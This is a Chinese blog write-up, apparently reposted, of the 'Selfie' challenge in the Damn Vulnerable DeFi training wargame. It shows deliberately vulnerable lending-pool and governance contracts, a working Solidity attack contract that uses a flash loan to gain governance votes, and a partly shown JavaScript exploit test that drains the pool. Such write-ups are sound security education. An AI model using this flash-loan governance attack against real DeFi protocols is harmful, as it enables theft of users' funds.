Damn Vulnerable DeFi靶场实战(6-10)

这篇具有很好参考价值的文章主要介绍了Damn Vulnerable DeFi靶场实战(6-10)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Selfie

分析

题目要求:

A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.

Wow, and it even includes a really fancy governance mechanism to
control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.

大意是有一个提供DVT代币的闪电贷,池中有一百五十万个DVT,而我们一无所有,但我们需要拿走全部的DVT.
题目给了两个合约,一个是闪电贷合约,另一个是闪电贷的治理合约
闪电贷合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
 * @title SelfiePool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SelfiePool is ReentrancyGuard {
   

    using Address for address;

    ERC20Snapshot public token;
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    modifier onlyGovernance() {
   
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    constructor(address tokenAddress, address governanceAddress) {
   
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
   
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        token.transfer(msg.sender, borrowAmount);        
        
        require(msg.sender.isContract(), "Sender must be a deployed contract");
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );
        
        uint256 balanceAfter = token.balanceOf(address(this));

        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    function drainAllFunds(address receiver) external onlyGovernance {
   
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}

这个合约只有两个函数,一个函数用来进行闪电贷,在其中触发我们的receiveTokens函数,另一个函数只有治理合约能够调用,用来向其他合约转钱。
治理合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title SimpleGovernance
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SimpleGovernance {
   

    using Address for address;
    
    struct GovernanceAction {
   
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    
    DamnValuableTokenSnapshot public governanceToken;

    mapping(uint256 => GovernanceAction) public actions;
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    constructor(address governanceTokenAddress) {
   
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }
    
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
   
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        uint256 actionId = actionCounter;

        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);
        return actionId;
    }

    function executeAction(uint256 actionId) external payable {
   
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
   
        return ACTION_DELAY_IN_SECONDS;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
   
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }
    
    function _hasEnoughVotes(address account) private view returns (bool) {
   
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

这个合约有两个函数,第一个函数的意思是,当你拥有了矿池中半数以上的DVT代币后,你就能够通过这个合约执行一次调用操作,queueAction函数会验证你是否拥有足够的token,如果有则将你想要执行的调用存入链上,在两天之后输入你的id即可在executeAction中执行该调用。

很明显,我们需要存入并且执行调用,我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数,这样即可绕开onlyGovernance的限定,将闪电贷合约中的token全部发送给我们,掏空该合约。

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
contract selfieAttack{
   
    using Address for address;
    SelfiePool public pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    bytes data;
    uint256 acountID;
    constructor(address _pool,address _governance,address attacker,address _token){
   
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }
    function loan(uint256 amount,bytes memory _data)public payable{
   
        data = _data;
        pool.flashLoan(amount);
    }
    function receiveTokens(address _token,uint256 amount)public{
   
        token.snapshot();
        acountID = governance.queueAction(address(pool),data,0);
        token.transfer(msg.sender,amount);
    }
    function complete()public{
   
        governance.executeAction(acountID);
        token.transfer(msg.sender,token.balanceOf(address(this)));
    }
    
    fallback()external payable{
   

    }
}

攻击原理很简单,先闪电贷借出全部的token,然后再receiveTokens函数中调用queueAction函数,将构造好的data和闪电贷合约地址传入,然后将钱返还给闪电贷合约。最后调用complete函数,执行executeAction函数,将钱转入我们的账户。
js攻击合约:文章来源地址https://www.toymoban.com/news/detail-811597.html

it('Exploit', async function () {
   
        /** CODE YOUR EXPLOIT HERE */
        const data = web3.eth.abi.encodeFunctionCall(
            {
   
                name:'drainAllFunds',
                type:'function',
                inputs:[{
   
                    type:'address',
                    name:'receiver'

                }]
            },[attacker.address]);
        const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);
        this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address)

到了这里,关于Damn Vulnerable DeFi靶场实战(6-10)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 使用Hardhat测试智能合约

    Hardhat是一个编译、部署、测试和调试以太坊应用的开发环境。它可以帮助开发人员管理和自动化构建智能合约和dApps过程中固有的重复性任务,并围绕这一工作流程轻松引入更多功能。这意味着hardhat在最核心的地方是编译、运行和测试智能合约。 Hardhat内置了Hardhat网络,这是

    2024年02月04日
    浏览(48)
  • 智能合约开发笔记-hardhat入门

    Hardhat是一个编译、部署、测试和调试以太坊应用的开发环境。 先安装nodejs环境; 然后打开命令行执行以下命令, 在项目目录pj_220509下安装hardhat环境: pj_220509目录下, 执行命令 npx hardhat  然后按提示安装相关的nodejs包,如下;完成安装; 装完后呀,可以在本地启动一个区块

    2023年04月11日
    浏览(25)
  • 简介智能合约开发框架-Hardhat

    ​ Hardhat是一个编译、部署、测试和调试以太坊应用的开发环境。 Hardhat内置了Hardhat网络,这是一个专为开发设计的本地以太坊网络。主要功能有Solidity调试,跟踪调用堆栈、 console.log() 和交易失败时的明确错误信息提示等。 node.js python 安装 安装中如果出现这样的报错 下载

    2024年02月16日
    浏览(30)
  • 基于Hardhat编写合约测试用例

    为智能合约编写自动化测试至关重要,毕竟写智能合约多多少少都会跟用户资金挂钩。 这里假设自己正在开发一个NFT交易平台,这个平台可以让用户售卖自己的NFT,包括ERC721和ERC1155,并且用户可以指定购买者需要支付指定的 ERC20 Token 购买。 我们先确定自己的测试功能和目标

    2024年02月02日
    浏览(29)
  • 如何使用hardhat进行合约uups模式升级

    id:BSN_2021 公众号:BSN研习社 背景: 在开发或维护solidity语言的智能合约时,经常会因为业务逻辑变动而变动合约内的逻辑,这就要考虑在不影响以前智能合约中已上链的数据的同时,修改或扩展新的业务逻辑,所以合约第一次开发时就需要考虑其本身支持可升级功能 目的:

    2024年02月16日
    浏览(23)
  • 使用hardhat验证智能合约(goeril测试网)

    使用openzeppelin写了个简单的Erc721合约,成功部署到goerli测试网,但是在验证的时候一直报错:

    2024年02月11日
    浏览(25)
  • 8.区块链系列之hardhat框架部署合约(二)

    现在我们来实践hardhat部署合约中的其他更多技术要点 1. 代码方式验证合约 注册 https://etherscan.io/ , 如下图添加拷贝API_KEY 在.env文件中新增 ETHERSCAN_API_KEY hardhat.config.js中新增配置 覆盖deploy.js 验证合约 如果用的使用了clash代理的话开启Tun模式,否则可能会报Connect Timeout Error 2.

    2024年01月22日
    浏览(26)
  • 基于Hardhat和Openzeppelin开发可升级合约(二)

    在本章我将开始介绍和演示 基于 Openzeppelin 的可升级合约解决方案 根据设计,智能合约是不可变的。但随着新的客户需求和产品设计的升级迭代,合约也需要升级。 Openzeppelin 的基础可升级合约解决方案是将合约数据与逻辑分离。 代理合约(Proxy) 负责转发交易到逻辑合约,

    2024年01月19日
    浏览(28)
  • 如何在vscode、remix中结合hardhat编译部署合约

    首先创建 npm 空项目,注意这里要选择合约项目对应的文件目录,比如这里的合约项目是 suchas 接着安装 hardhat 环境,这里安装的版本 2.11.1 接着创建 hardhat 工程,选择你要创建的工程类型,这里我选的 TS 一般简单的测试学习我们可以用 remix,更多时候是用专业的 vscode IDE 编写

    2024年02月06日
    浏览(29)
  • CCG合约量化:DeFi 中的流动性池是什么以及它们如何工作?

    流动资金池在 DeFi 的形成中发挥着重要作用。它们在自动化做市、借贷、收益农业和许多游戏项目中至关重要。但究竟什么是加密货币中的流动性池? 本文解释了流动资金池概念背后的理念,讨论了它们的工作原理,并分享了主要加密项目为何利用资金池。事不宜迟,让我们

    2024年02月11日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包